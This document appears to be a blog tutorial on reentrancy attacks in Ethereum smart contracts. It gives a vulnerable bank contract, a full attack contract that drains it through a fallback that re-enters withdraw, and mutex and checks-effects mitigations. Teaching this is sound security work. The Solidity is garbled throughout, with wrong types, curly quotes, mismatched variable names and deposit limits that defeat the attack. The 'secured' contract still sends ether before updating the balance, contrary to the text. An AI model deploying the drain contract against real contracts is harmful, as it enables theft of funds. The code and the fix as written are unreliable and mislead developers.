Understanding Reentrancy Vulnerabilities in Ethereum Smart Contracts: Risks and Solutions

Table of contents

No heading

No headings in the article.

image by Ronghui Gu

A Reentrancy attack is a security vulnerability that occurs in the blockchain, it occurs when a smart contract can call the function in an external contract continuously before the completion of previous calls or before the contract updates its state. Say an untrusted smart contract and a vulnerable contract. The untrusted smart contract exploits the security vulnerability in a function in the original contract, by repeatedly calling the function which then reverts to the untrusted contract before the state is updated creating a loop that can lead to depletion of funds. 3.6 million ETH was stolen from The DAO hack in 2016, one of the most famous hacks ever done on the Ethereum blockchain.

Example of a Reentrancy attack

Usually involves two contracts, a vulnerable contract name CommunityBank, and an attacker. An attacker finds a vulnerable contract that allows its users to deposit and withdraw funds, he creates a malicious contract with a fallback function that calls the withdraw function, deposits the required amount, and also executes a withdraw function(which has the vulnerability), soon as he receives his deposited funds, it triggers the fallback function on the malicious contract which has the withdraw function, as the userBalance isn’t updated after the sending the first transaction, the fallback function can repeatedly call the withdraw function again till the funds in the CommunityBank is depleted.

image sourced from mpdi.com

Let's take a look at a contract with both functionalities, we will call it CommunityBank.

We store all the customer's addresses with their balance in a mapping name userBalance

mapping (addresses=>uint) public userBalance;

Users must deposit more than 1 ether

Function deposit() public payable{  
  require(msg.value > 1 etherm, "deposit must be more than 1 ether");
  userBalances[msg.sender] += msg.value;
 }

We allow users to withdraw their funds, but we check if they’ve more than 1 ether in their wallet, then we transfer the funds to the user, we check for the success of the transfer then we update the userBalance mapping.

function withdraw(uint _amount) public {  
 require(balances[msg.sender] > 1 ether, “balances must be. More than 1 ether”)
  (bool sent,) = msg.sender.call{value:_amount}(“”);
  require(sent, “Transfer failed”)
  userBalances[msg.sender] -= _amount
 }

Here’s a complete contract of the CommunityBank contract

Contract CommunityBank{
  mapping (addresses =>uint) public userBalances

 function deposit() public payable{
  require(msg.value > 1 ether, “user deposit must be more than 1 ether)
  userBalances[msg.sender] += msg.value’
}

 function withdraw(uint _amount) public { 
    require (userBalance[msg.sender] > 1 ether, “balances must be more than 1 ether”)
    (bool sent, )= msg.sender.call{value:_amount}(“”);
     require(sent, “Transaction failed”)
     userBalances[msg.sender] -= _amount;}

}

And that’s our contract, next, we go through our attack function.

First, we import the vulnerable contract to our attack function, create a type of the contract, and pass it to a constructor of our attacking contracts, we create a bool to check for the completion of the attack.

CommunityBank public communityBank
Bool public attackComplete

Constructor (address _communityBank){  
   communityBank = CommunityBank(_communityBank);

}

We create a fallback function that calls the withdraw function of the community bank when the check for the minimum balance is passed, it first checks if the vulnerable contract has enough ether.

receive() external payable{
  If (address(communityBank).balance>=1ether){
  communityBank.withdraw(1 ether)
  }
}

Now we create a deposit function that is the attack function, first line checks that we’ve more than the minimum deposit, then it calls the deposit function of the CommunityBank contract, then it withdraws the amount it just deposited. We also create a helper function to help get the balance of our contract.

function attack() external payable {
  require(msg.value > 1 ether, "Value must be more than minimum”)
  communityBank.deposit{value:1 ether}()
  communityBank.withdraw(1 ether)
  }

 function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

And that's it, let's see the full contract:

import "./CommunityBank.sol"
Contract Attack { 
CommunityBank public communityBank

Constructor (address _communityBank){  
 communityBank= CommunityBank(_communityBank);
  attackComplete= false;
}

 receive() external payable{
    If (address(communityBank).balance >= 1 ether){
    communityBank.withdraw(1 ether)
    }
}

function attack() external payable {
  require(msg.value>1ether, “balances must be more than 1 ether”)
  communityBank.deposit{value:1 ether}()
  communityBank.withdraw(1 ether)
  }

 function getBalance() public view returns (uint256) {
        return address(this).balance;
    } }

And that's it for our attacking contract, you can try it out on remix, now that we understand how a reentrancy attack works, let’s talk about preventive measures and how we can protect our contract against attackers.

First, we implement a Mutex lock or Reentrancy guard, this prevents continuous execution of a single function.

 mapping (address =>bool) private _locked;

 modifier nonReentrant(){  
   require(!_locked[msg.sender], “cannot enter”) 
  _locked[msg.sender] = true ;
    _;
  _locked[msg.sender] = false
}

Then we pass it to the withdraw function.

Contract SecuredCommunityBank{
  mapping (addresses =>uint) public userBalances

 function deposit() public payable{
  require(msg.value> 1ether, “user deposit must be more than 1 ether)
  userBalances[msg.sender] +=msg.value’}

 function withdraw(uint _amount) public  nonReentrant{ 
  require(userBalance[msg.sender] > 1ether, “balances must be more than 1 ether”)
  (bool sent, )= msg.sender.call{value:_amount}(“”);
   require(sent, “Transaction failed”)
   userBalances[msg.sender] -=_amount;}

}

Secondly, we can implement the checks and Effects convention pattern: by ensuring all states are updated before any external interaction, let’s examine the withdraw function from the CommunityBank.

We can see we sent the ether before we updated the userBalance, on receiving the ether, the fallback function from the malicious contract calls back the withdraw function again, and since the userBalance hasn’t been updated, the communityBank sent more ether but, with the SecuredCommunityBank, we update the balance before we send ether, the balance would be updated and if the user doesn’t have enough balance left in the bank, the attack will fail.

And that's it for now, let me know your thoughts in the comment section. FYI: we did not explore the types of reentrancy here, but there aren't many differences between them, for more information, kindly go through the resources.

resources mdpi.com, quicknode